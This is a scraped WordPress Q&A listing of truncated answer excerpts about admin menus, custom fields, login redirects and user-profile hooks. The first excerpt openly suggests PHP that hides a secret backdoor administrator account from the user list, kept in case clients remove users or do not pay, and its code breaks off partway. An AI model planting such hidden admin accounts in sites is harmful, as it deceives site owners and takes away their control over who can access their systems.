While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action(‘pre_user_query’,’sleeper_pre_user_query’); function sleeper_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘my_secret_admin_user’) { global $wpdb; $user_search->query_where = … Read more
Hi @NetConstructor.com: I wrote this last month for somebody and it may address what you are looking for. It is an example you would modify, not a complete ready-to-use solution: <?php /* * Example code showing how to hook WordPress to add fields to the taxonomny term edit screen. * * This example is meant … Read more
If you create an admin theme plugin from the Codex steps, you will notice it says not to insert stylesheets as per above – although the above will work. If you place the following inside your admin theme file, it will serve the same purpose, but uses the wp_enqueue_styles approach: function add_admin_theme_styles() { wp_register_style($handle=”mytheme-theme-admin-styles”, $src … Read more
Absolutely! That’s exactly what I’ve been doing for months now. (There are some screenshots here to show you what’s possible.) Just create a Custom Post Type for your their products, and then use a plugin to allow to you create Custom Metaboxes with fields. Here’s a list to consider: Plugins for Fields & Metaboxes The … Read more
you got the first part right about using personal_options_update but to be on the safe side add edit_user_profile_update also. and as for sending emails within WordPress the best way would be to use wp_mail, So something like this: add_action( ‘personal_options_update’, ‘notify_admin_on_update’ ); add_action( ‘edit_user_profile_update’,’notify_admin_on_update’); function notify_admin_on_update(){ global $current_user; get_currentuserinfo(); if (!current_user_can( ‘administrator’ )){// avoid sending … Read more
You should not use Userlevels. Userlevels have been replaced in WP 2.0 and have been officially deprecated since 3.0 add_filter( ‘login_redirect’, ‘dashboard_redirect’ ); function dashboard_redirect( $url ) { if ( current_user_can( ‘manage_options’ ) ) { $url = esc_url( admin_url( ‘edit.php’ ) ); } return $url; } Will do what you want.
@ign Replace the line of code you posted with the following.. foreach( $menu as $menu_key => $menu_data ) : if( ‘edit.php’ != $menu_data[2] ) continue; $menu[$menu_key][0] .= ” <span class=”update-plugins count-$pending_count”><span class=”plugin-count”>” . number_format_i18n($pending_count) . ‘</span></span>’; endforeach; ..that should avoid the need to know the specific key.. (let me know if any problems).. Hope that … Read more
see remove_post_type_support function remove_pages_editor(){ remove_post_type_support( ‘page’, ‘editor’ ); } add_action( ‘init’, ‘remove_pages_editor’ );
Here is the code I’m using in a project I’m working on. function generate_post_select($select_id, $post_type, $selected = 0) { $post_type_object = get_post_type_object($post_type); $label = $post_type_object->label; $posts = get_posts(array(‘post_type’=> $post_type, ‘post_status’=> ‘publish’, ‘suppress_filters’ => false, ‘posts_per_page’=>-1)); echo ‘<select name=”‘. $select_id .'” id=”‘.$select_id.'”>’; echo ‘<option value = “” >All ‘.$label.’ </option>’; foreach ($posts as $post) { echo … Read more
As overcomplicated as it sounds, I always find the best way to handle admin menu modifications is to overlook the given wordpress remove_ functions and go straight to the $menu and $submenu globals. In the case you’ve specified here, you’d want to change your code to: add_action(‘admin_menu’, ‘remove_unnecessary_wordpress_menus’, 999); function remove_unnecessary_wordpress_menus(){ global $submenu; unset($submenu[‘themes.php’][20]); unset($submenu[‘themes.php’][22]); … Read more
